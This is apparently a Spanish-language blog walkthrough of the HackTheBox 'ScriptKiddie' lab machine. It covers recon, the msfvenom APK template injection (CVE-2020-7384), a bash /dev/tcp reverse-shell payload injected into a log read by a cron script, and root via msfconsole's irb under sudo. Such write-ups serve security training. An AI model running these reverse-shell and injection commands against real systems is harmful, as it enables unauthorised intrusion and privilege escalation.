Inicio HTB - ScriptKiddie
Entrada
Cancelar

HTB - ScriptKiddie

¡Hola! Vamos a resolver de la máquina ScriptKiddie de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Msfvenom Exploitation [CVE-2020-7384] [RCE]
  • Abusing Logs + Cron Job [Command Injection / User Pivoting]
  • Abusing Sudoers Privilege [Msfconsole Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre ScriptKiddie. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.226
PING 10.10.10.226 (10.10.10.226) 56(84) bytes of data.
64 bytes from 10.10.10.226: icmp_seq=1 ttl=63 time=42.3 ms

--- 10.10.10.226 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.226 -oG allPorts

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
5000/tcp open  upnp    syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
nmap -sCV -p22,5000 10.10.10.226 -oN targeted

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
❯ whatweb http://10.10.10.226:5000

http://10.10.10.226:5000 [200 OK] Country[RESERVED][ZZ], HTTPServer[Werkzeug/0.16.1 Python/3.8.5], IP[10.10.10.226], Python[3.8.5], Title[k1d'5 h4ck3r t00l5], Werkzeug[0.16.1]

Accedemos al servicio web por el puerto 5000 y vemos la página principal la cual nos permite el uso de herramientas de hacking

La sección de namp nos permite escanear los 100 puertos más comunes de una IP proporcionada. Probamos con 127.0.0.1

La sección sploits utiliza la herramienta searchsploit en función del input que le pongamos

La sección payloads nos permite seleccionar un sistema opeartivo (windows, linux o android), proporcionar una dirección lhost y opcionalmente subir un achivo template. Clickando en el botón generate nuestra información proporcionada se procesa con msfvenom y nos genera un payload. Si todo es correcto nos devuelve un link para un archivo descargable

Buscando vulnerabilidades con la heramienta searchsploit localizamos una vulnerabilidad que afecta a Metasploit 6.0.11. Aunque no sabemos la versión que nos presenta la web vale la pena intentar a ver si es viable

1
2
3
4
5
6
❯ searchsploit msfvenom
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                           |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Metasploit Framework 6.0.11 - msfvenom APK template command injection                                                                                    | multiple/local/49491.py
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Nos traemos el exploit a nuestro directorio de trabajo y observando su contentido hay que cambiar el payload a ajecutar en el que indicaremos que haga un curl a nuestra dirección IP y el contenido lo interpretamos con bash

Creamos un archivo index.html e introducimos el típico oneliner para entablar una reverse shell con bash. Levantamos un servidor web por el puerto 80, nos ponemos en escucha por el puerto 443 y en la web subimos el archivo apk malicioso generado con el exploit con la opción de os puerta en android

la flag de usuario la encontramos en la carpeta personal del usuario kid

1
2
kid@scriptkiddie:~/html$ cat /home/kid/user.txt 
d61e528ea4ed26573****************

Movimiento Lateral


Realizando una enumeración básica nos revela la existencia de otro usuario llamado pwn. Dentro de su carpeta home localizamos un script llamado scanlosers.sh en el que tenemos capacidad de lectura únicamente. El script parsea filas de /home/kid/logs/hackers para leer direcciones IP y ejecuta nmap sobre esas IPs

1
2
3
4
5
6
7
8
9
10
11
kid@scriptkiddie:~/html$ cat /home/pwn/scanlosers.sh 
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

El script fitra del archivo hackers delimitando por un espacio y cogiendo el tercer argumento (cut -d' ' -f3-) y lo ordena alfabéticamente (sort -u). Adicionalmente no hay validación del input por lo que el script es vulnerable a inyección arbitraria de comandos

Mirando el contenido de la aplicación web (/home/kid/html/app.py) vemos que los timestamps y las IPs se guardan en /home/kid/logs/hackers cuando se insertan caracteres no alfanuméricos en el input de la sección searchsploit

Abrimos netcat y escribimos un payload revserse shell a /home/kid/logs/hackers

1
kid@scriptkiddie:/$ echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.33/443 0>&1")' > /home/kid/logs/hackers 
1
2
3
4
5
6
7
8
9
sudo nc -nlvp 443
[sudo] password for yorch: 
listening on [any] 443 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.226] 41028
bash: cannot set terminal process group (803): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ whoami
whoami
pwn

Escalada de Privilegios


Mediante el comando sudo -l vemos que tenemos la capacidad de ejecutar como root msfconsole

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole
pwn@scriptkiddie:~$ sudo msfconsole
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.0.9-dev                           ]
+ -- --=[ 2069 exploits - 1122 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Enable verbose logging with set VERBOSE true

msf6 > 

Desde msfconsole podemos entrar en una shell de Ruby con el comando irb y llamar a system() para ejecutar comandos de sistema. Esto nos permite conseguir una shell con privilegios de root

1
2
3
4
5
6
7
8
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

irb: warn: can't alias jobs from irb_jobs.
>> system("/bin/bash")
root@scriptkiddie:/home/pwn# whoami
root

La flag de root la encontramos en el directorio /root

1
2
root@scriptkiddie:/home/pwn# cat /root/root.txt 
3e4917ca3ca64c34***************

Hemos completado la máquina ScriptKiddie de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.